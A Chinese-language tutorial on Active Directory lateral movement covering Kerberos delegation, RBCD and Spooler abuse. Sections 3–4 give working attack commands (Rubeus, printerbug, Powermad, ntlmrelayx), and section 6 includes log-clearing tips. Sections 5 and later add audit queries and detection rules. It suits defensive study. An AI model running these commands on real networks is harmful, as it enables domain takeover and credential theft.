1. 内网横向移动攻防全景解析
在大型企业网络环境中,横向移动(Lateral Movement)是攻击者突破边界防御后的关键战术。当攻击者通过钓鱼邮件、漏洞利用等手段获取内网初始立足点后,会利用各种协议和服务的特性,逐步扩大控制范围。Kerberos认证协议作为Windows域环境的核心安全机制,既是防御的基石,也可能成为攻击者利用的跳板。
过去五年间,从Mimikatz工具包的广泛使用到PrintNightmare漏洞的爆发,内网横向移动技术已经形成完整的战术链。攻击者通常会经历以下几个阶段:初始访问→凭证窃取→权限提升→横向扩散→目标达成。在这个过程中,Kerberos委派、RBCD(基于资源的约束委派)和Spooler服务滥用等技术手段,往往能绕过传统防御体系的监控。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Kerberos协议安全机制深度剖析
2.1 Kerberos认证流程精要
Kerberos协议采用"三头犬"式的三方验证模型,其核心交互过程包含六个关键步骤:
- AS-REQ:客户端向密钥分发中心(KDC)的认证服务(AS)发送身份认证请求,包含用户名和预认证数据
- AS-REP:AS验证通过后返回TGT(Ticket Granting Ticket),使用krbtgt账户的NTLM哈希加密
- TGS-REQ:客户端使用TGT向票据授予服务(TGS)请求服务票据
- TGS-REP:TGS验证TGT后返回服务票据(ST),使用目标服务的NTLM哈希加密
- AP-REQ:客户端向应用服务提交ST进行认证
- AP-REP:服务端验证ST后建立会话
这个过程中可能被利用的关键点包括:
- TGT票据的黄金票据攻击(Golden Ticket)
- ST票据的白银票据攻击(Silver Ticket)
- 票据的缓存与重用(Pass-the-Ticket)
2.2 Kerberos委派机制详解
委派(Delegation)是Kerberos协议中允许服务代表用户访问其他服务的安全特性,主要分为三种类型:
-
非约束委派(Unconstrained Delegation):
- 服务账户被授予完全委托权限
- 可代表用户访问域内任何服务
- 在AD中通过userAccountControl属性的TRUSTED_FOR_DELEGATION标志设置
- 攻击者常利用此特性进行权限提升
-
约束委派(Constrained Delegation):
- 限制服务只能代表用户访问特定服务
- 通过msDS-AllowedToDelegateTo属性配置允许的服务列表
- 需要服务账户具备SeEnableDelegation特权
-
基于资源的约束委派(RBCD):
- Windows Server 2012引入的新模型
- 由资源服务自己决定哪些账户可以委托给它
- 通过msDS-AllowedToActOnBehalfOfOtherIdentity属性控制
- 攻击者可通过修改此属性实现权限提升
3. 横向移动实战技术解析
3.1 非约束委派攻击链
攻击者发现配置非约束委派的服务账户后,典型的攻击流程如下:
- 使用PowerShell查询非约束委派账户:
powershell复制Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties trustedForDelegation,servicePrincipalName,description
- 通过打印机漏洞(Spooler)强制目标DC向已控服务器进行认证:
bash复制python3 printerbug.py domain/user:password@target.domain.com controlled-server.domain.com
- 使用Rubeus工具捕获TGT票据:
powershell复制Rubeus.exe monitor /interval:5 /filteruser:DC01$
- 导入票据并获取域控权限:
powershell复制Rubeus.exe ptt /ticket:base64_ticket
ls \\dc01.domain.com\c$
3.2 RBCD攻击实战演示
基于资源的约束委派攻击需要以下前置条件:
- 拥有对目标计算机的WriteProperty权限
- 知道域内任意计算机账户的SID
具体攻击步骤:
- 创建新的计算机账户作为攻击载体:
powershell复制Import-Module Powermad
New-MachineAccount -MachineAccount FakePC -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force)
- 配置目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性:
powershell复制$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<SID>)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TargetPC | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
- 使用S4U扩展获取目标服务票据:
powershell复制Rubeus.exe s4u /user:FakePC$ /rc4:CCF3C64FDFCCD3B3F0B5F2BAA6B6B6B /impersonateuser:Administrator /msdsspn:CIFS/TargetPC.domain.com /ptt
- 验证权限并执行远程命令:
powershell复制klist
ls \\TargetPC.domain.com\c$
4. 打印系统服务漏洞利用
4.1 Spooler服务攻击原理
Windows打印后台处理程序(Spooler)存在以下关键安全问题:
- 远程协议调用(MS-RPRN)默认启用
- 允许未经认证的用户请求更新打印任务
- 打印任务提交时会触发系统间的认证流程
攻击者可以利用此特性:
- 强制域控向攻击者控制的服务器进行认证(NTLM Relay)
- 配合非约束委派获取高权限票据
- 在特定条件下直接获取系统权限(PrintNightmare)
4.2 现代防御绕过技巧
针对最新的防御措施(如EPA、SMB签名等),攻击者可能采用以下变种技术:
- 基于HTTP的NTLM Relay:
bash复制ntlmrelayx.py -t http://exchange.domain.com/ews/ -smb2support --remove-mic
- 利用LDAPS协议绕过签名要求:
bash复制ntlmrelayx.py -t ldaps://dc.domain.com --no-dump --no-da
- 基于资源委派的打印机漏洞利用:
powershell复制# 先配置RBCD
# 然后触发Spooler服务认证
SpoolSample.exe DC01 CONTROLLED-PC
5. 防御体系建设方案
5.1 主动防御措施
- 委派配置审计:
powershell复制# 查找非约束委派账户
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
# 查找RBCD配置
Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -ne "$null"} -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
- 关键服务加固:
- 禁用不必要的Spooler服务
- 启用SMB签名
- 配置LDAP通道绑定和签名
- 权限最小化:
- 限制普通用户创建计算机账户的权限
- 定期审查高权限账户的会话
5.2 检测与响应策略
- Kerberos异常检测规则示例(SIEM):
code复制event_id:4769 AND ticket_options:0x40810000
| stats count by src_user,dest_service
| where count > threshold
- RBCD攻击特征检测:
kql复制DeviceEvents
| where ActionType == "DirectoryServiceChanges"
| where AdditionalFields contains "msDS-AllowedToActOnBehalfOfOtherIdentity"
- Spooler服务滥用监控:
powershell复制Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4624
ProcessName='C:\Windows\System32\spoolsv.exe'
} | Where-Object {$_.TargetUserName -like '*$'}
6. 实战中的经验与教训
在多次红队演练中,我们发现以下几个关键点往往决定攻击成败:
- 初始立足点的选择:
- 优先定位具有本地管理员权限的终端
- 关注安装了多种业务系统的服务器
- 信息收集的全面性:
powershell复制# 快速获取域内委派配置
Get-DomainComputer -Unconstrained | select name
Get-DomainUser -TrustedToAuth | select name
- 工具链的灵活组合:
- 将PowerView、Rubeus、Impacket等工具混合使用
- 根据网络环境选择HTTP/NTLMv1/SMB等不同中继方式
- 隐蔽性保持技巧:
- 尽量使用系统自带命令(如net、sc)
- 避免频繁扫描行为
- 及时清理日志痕迹
在一次金融行业的渗透测试中,我们通过以下路径完成域控接管:
- 利用过期的Web应用获取Web服务器权限
- 发现服务器配置了非约束委派
- 通过Spooler漏洞触发DC认证
- 捕获krbtgt的TGT票据
- 制作黄金票据获得域管理员权限
整个过程耗时不到4小时,凸显了委派配置不当的严重风险。
